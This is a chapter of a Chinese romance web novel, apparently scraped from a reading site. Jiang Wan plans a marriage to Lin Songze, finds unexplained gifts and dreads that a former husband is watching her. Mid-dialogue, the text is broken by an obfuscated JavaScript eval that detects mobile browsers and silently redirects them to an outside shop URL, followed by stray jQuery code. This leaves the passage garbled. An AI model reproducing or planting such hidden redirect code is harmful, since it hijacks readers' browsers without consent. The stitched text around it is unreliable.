*
噩梦骤然惊醒。
姜绾睁眼的瞬间,被窗外惊雷吓住。
苍白的额头渗出些细碎的汗珠。
瞧着外面天色,约莫是辰时了。
春雷滚滚,雨泽万物。
姜绾坐起来,推开一条窗户缝,瞥见底下大街上来往人流稀稀拉拉。
偶有一两个,撑着伞,也是行色匆匆,倒是两边酒楼茶肆里人不少。
人声往来,叫卖吆喝,被淅淅沥沥的春雨糅杂进闷响雷声中,送入房间,将噩梦残存的阴寒气息尽数消减。
姜绾很爱听这些人气儿足的动静。
否则也不会选了靠街边的房间作为自己的卧室。
她盯着街上来往的撑伞人发了会呆,而后才起来洗漱。
桌上又放了一束新的鲜花,像是刚摘不久,还带着极鲜的生机,是旷野清凉舒爽的气息。
姜绾垂下睫羽,眸中水色轻颤。
洗漱完,她换了身干净清爽的衣裳。
上午有一节基础班课,一节进阶班课,下午还要给亲传的学徒们讲解新的内容。
今日可算是有得忙了。
她抱着来福从楼上下来。
云禾在楼下院子里给她请安:“师父早,今日朝食是街口王大娘烙的豆芽饼与椿菜馃子,正宜春日用呢,您要在哪用膳?”
姜绾想了下:“在樟树下吧。”
云禾应了声,麻溜地帮她将朝食布在樟树下的石桌上。
豆芽是提前用水烫熟后,以茱萸粉、醋、酱油和芝麻香油拌得爽爽朗朗,再糊到面饼中,用石炉烘烤,待面饼表面酥脆,再刷一层鸡蛋液,一层香油,撒点芝麻和盐巴,是江南延安一带特有的饼子。
椿菜馃子则是春日的应季吃食,补的都是天地生发之气,于此季最为适宜。
云禾又给她打了一碗红枣小米粥用以佐饼下咽。
姜绾没什么精气神地坐到石桌边,将来福放下去玩。
云禾又手脚麻溜地去给来福打饭。
来福如今在长牙,因而她们在来福的羊奶糊糊里又佐了些烫熟的小河虾。
见姜绾只是搅拌着小米粥里的汤匙,眼神有些游离,她又凑近:“师父,怎么了?昨夜没睡好吗?”
姜绾回过神来,摇了摇头,问她:“你今儿多早起来干活的?”
云禾想了下:“约是卯时,怎么了?”
姜绾:“卯时你可听见我房间里有什么动静?”
云禾摇头:“没有啊。”
她顿了下,很聪慧地猜到了缘由:“可是房间又有人送了花来?”
姜绾点头。
她心中有个隐约的猜测,又觉得不符合那人的行事风格。
云禾想了下:“师父,要不今晚我在外头给您守夜?”
姜绾摇了摇头:“不用,回头待赘婿招进来,再顺便招几个护院打手便是。”
先前她们没招护院打手,是怕院子里全是老弱妇孺,能看家护院的打手们大多身强力壮。
一来二去,她们怕引狼入室,反受其害,便一直耽搁下来。
云禾点点头,又宽慰了她两句。
正说着,崔娘子总算回来了。
姜绾眼睛一亮,放下手里汤匙:“崔姨,可打听到了?谢九昨日可平安归家?”
崔娘子点头,在她身旁坐下,水都没喝一口,麻利道:“没呢!”
姜绾的心瞬间提到嗓子眼。
崔娘子又道:“真是恶人自有天收!听闻昨日他们从咱们院子里跑了以后,出去外边儿十字路口的石拱桥上,不知让谁给绊了一跤,摔进了门口那条河里。”
“被人捞上来后,又不知怎么崴了脚,惹了好大一通笑话。”
姜绾愕然听完:“就这样?”
崔娘子不明所以:“就这样啊。”
姜绾又问:“没缺胳膊断腿?”
崔娘子摇头。
姜绾:“也没有被人绑架去,开膛破肚?”
这回轮到崔娘子愣住了:“没……没啊,晚晚你这是怎么了?怎么会这样问?”
“我今儿去打听的时候,还瞧见谢九一瘸一拐地往药铺去呢。”
姜绾心头的大石一瞬间消散,狠狠松了口气:“没有就好,没有就好。”
没有,那便不是他。
否则以他的行事作风,瞧见有人给她下药,不会这样轻易放过人才对。
只要不是他,那是谁都无所谓了。
房间送的花定然也是什么瞧上她的人在暗中捣鬼。
只要不是那人,一切都好办。
姜绾心情大好,挥挥手:“你们都去忙吧,不用管我。”
她就着酥香的豆芽饼和椿菜馃子埋头用餐,口腹之欲的满足感让她忍不住眯起了眼睛。
“啊哈哈……不是陆凛,真好。”她抱着饼子傻乐出声。
世界果然还是很美好的!
一片叶子忽然砸在她脑门儿上。
“哎呦。”姜绾捂着额头,不可置信盯着叶子。
一片轻飘飘的叶子砸在人额头上怎么会这样疼?
简直像是被人扔块小石子。
她摸了摸额头,没放在心上。
吃饱饭就开始上课。
入赘之事,大小事宜她都交给了崔娘子去处理。
崔娘子行事果断老练,又上了年纪,曾经还亲自给儿子操持过婚事,这方面她有经验。
姜绾放心地将婚礼交给她去办,自己懒得操这个闲心。
上完课出来,已是午后申时。
她揉了揉眉心,目送着亲传弟子们从院子里离开。
常姝蹦蹦跳跳地凑上前来:“师父,可有什么要我帮忙的?”
姜绾挑眉:“比如?”
常姝咧嘴一笑,凑近了点:“比如什么跑腿啊,备婚啊之类的。我爹娘说师父你又要筹备成婚事宜,又要给我们授课,怕是忙不过来。”
“左右我家就在郡里,隔着几条街而已,大不了便晚些归家去,先留下来帮帮忙,别累坏了师父你。”
姜绾笑道:“这倒是问住我了,有什么要帮忙的你得去问你崔姨,我不管这些。”
崔娘子正好从库房里出来,笑道:“还真有件事儿,成婚要准备的婚服,按照云萝郡这边的习俗,都得咱们来准备。”
“但咱们这边还没有林大夫的身长尺寸呢,因着是入赘,礼得调转过来,林大夫那边近亲长辈父母叔伯之类的,需要按人口来送红封、女儿红以及每户十斤猪肉送过去。”
“此事本该双方的母亲互相商量,但晚晚你这边情况特殊,林大夫他母亲也不在,他父亲似乎对他入赘一事颇有怨言,也不肯见我。”
“所以我想着,不然就你们两个小辈见见面,将事情谈妥。”
姜绾点头:“行啊,我这就去找他。”
崔娘子忙道:“婚前见面是为不吉,你们可莫要碰面,约个茶楼包厢,以屏风隔开,免得冲撞了。”
姜绾摸了摸鼻子,感觉先前和陆凛成婚并未有这样多的麻烦,但还是点头:“好,我知道了。”
崔娘子又叮嘱道:“云禾这边还得帮我干活,将新采买的聘礼登记造册,正好你带常姝去吧,让林大夫那边也带个小厮出门,不可两人私下单独碰面。”
好一番叮嘱后,姜绾才将将踩着申时尾巴点出门。
她让常姝去林府把人约出来。
两人还是在茶楼包厢碰面。
此时已近黄昏,包厢里有些昏暗,加上屏风遮挡,越发瞧不清房间里的景象。
姜绾让常姝去点了灯。
不知为何,总觉得房间里莫名阵阵阴冷,凉丝丝的,像是被什么不干净的东西盯上了似的。
她搓了搓胳膊上的鸡皮疙瘩,让常姝将蜡烛放近了些,光线离得近,驱散了她身旁阴影。
林松泽带着小厮进来。
两人隔着屏风对立而坐。
姜绾:“天色不早了,我就长话短说了。”
林松泽笑着点头:“好。”
姜绾按照崔娘子的吩咐,将要询问的问题一一抛给他。
林松泽闻言愣了下,“是我疏忽了,没想到成婚还需要这些东西,一时间我也没有具体的尺寸。”
他思忖片刻,“这样吧,明日我量了,将尺寸写下来命人送到你那去。”
姜绾点头:“也可。那不知你家几口人?叔伯几何?我家要给每户亲戚准备一份礼的话,需要备多少份?”
林松泽:“除了我父亲,上头还有两个伯伯,和一个姑姑,其余的便没有了。”
姜绾细细记下:“好,我知道了。”
林松泽莞尔,隔着朦胧的屏风望着她纤瘦挺立的身影:“晚晚,最近是不是很累?我瞧你身影似乎消瘦许多。”
姜绾:“还好,倒也不是很累。”
林松泽的声音温柔了不少:“你也不用如此事无巨细,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709058|202680||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有我呢,家中族亲都还和善,即便你有不周全之处,我也会替你遮掩回转,不要担心。”
姜绾心下轻快不少:“那就先多谢你了。”
林松泽唇角勾起:“你我之间,又何必言谢?明日我要随父亲去隔壁郡采购药材,他们那边的糕点做得极好,明日我给你带点回来,你不正好爱吃甜么?”
姜绾其实并不是很爱吃甜,但她也没多言,只笑着点头应答下来。
两人温声软语地话家常,反倒没有婚期将近的小男女该有的羞涩情谊。
许是两人三年来相交过密,这会反倒如同老夫老妻般,话家常格外熟稔又亲昵。
浑然未觉房间里气压越来越低,压迫感十足。
姜绾无意识地打了个冷颤,饮了一口热茶,将指尖寒气驱散。
倒是林松泽,察觉外面天色已然全黑下来。
“晚晚,今日就到这儿吧,若是还有什么事,明后天也能商议,再晚些时候,你归家可就不方便了。”
姜绾点了点头:“也行,那今日先到这儿。”
两人先后出了茶楼,上了马车。
全程都没见面。
两辆马车各自离开。
车走到半道,林松泽想到什么似的,又对身边小厮道:“晚晚定然还未用飱食,你将这食盒给她送去,里面是从如意楼带的一些栗子糕与五仁杏花糕,她约莫会喜欢的。”
约了人出来议事,却让人空腹归家,他怕晚晚会觉得他照顾得不周全,心中有些后悔,该早些想到的。
小厮点了点头,拎着糕点正要喊车夫停车。
忽然,马车一个急停,外面传来马儿嘶鸣的声音。
小厮屁股刚离凳儿,一个没刹住,拎着糕点从车里摔了出来。
人栽到地上不说,食盒里的糕点也洒了一地,四分五裂。
马受了惊,剧烈奔跑起来,拖着车一路狂奔,竟直直冲进了街角的公用旱厕之中。
连带着林松泽一起被甩出来,摔了个满身粪金臭银。
另一端。
姜绾前脚刚回家,迈入院中,后脚便见一名小厮恭敬追上前来:“姜大夫!”
她转身,看到陌生的小厮,有些奇怪:“你是?”
小厮笑道:“您可能没见过我,我家公子让我给您送些吃食来,说您在茶楼待了那么久,定然是肚子饿了。”
姜绾心下猜测约莫是林松泽。
只有他才会行事如此周全。
她接过食盒:“替我谢谢你们家公子。”
小厮应下,小跑着离开。
姜绾不甚在意,林松泽送来的,约莫也就是些甜糕之类的。
食盒中却传出阵阵胡椒的香气。
似有肉味。
她揭开食盒一瞧,里头竟赫然放着一份烤猪蹄,色泽晶莹剔透,上头洒了茱萸粉和胡椒,是极为正宗的北境风味。
什么时候云萝郡也有北境吃食了?
她眼睛一亮,这会是真饿了。
馋这一口许久,没想到林松泽如此有心,竟误打误撞给她寻来心头好!
烤猪蹄底下还有一份烤蘑菇,也是她爱吃的。
姜绾手都没洗,迫不及待伸手进去捻起一块蘑菇送入口中。
熟悉的味道,熟悉的辛香,她有些满足地抱着食盒,回味着口中滋味。
来福闻着肉香,哼哼唧唧狂奔到她脚下,急得直打转。
姜绾心情极好地拎着食盒进屋:“有毒哦,小狗不能吃!”
来福气呼呼地打了个喷嚏。
姜绾挑眉:“小狗也不能骂人。”
翌日。
有小厮将林松泽的婚服尺寸送了过来。
姜绾打开信纸瞧了一眼,疑惑挑眉:“咦?林松泽有这么高么?”
身长五尺十一寸,那岂非有近一米九二了?
她平日瞧着林松泽似乎个头也就比她稍微高一小截……
后面还有详细的内容。
胸围是三尺左右,那便是一米左右。
腰围二尺一寸多,约莫是七十二厘米。
后面甚至还有手臂围,大腿围,小腿围、臀围……
等会,她没问这些吧?
她想着喜服宽松又是宽袖宽摆,臀围手臂大腿小腿这些实在……好像用不太上。
姜绾拿着尺寸,在脑海里描补了一下。
如此挺拔高大的身高,健硕的胸肌,窄劲的腰身,怎么感觉……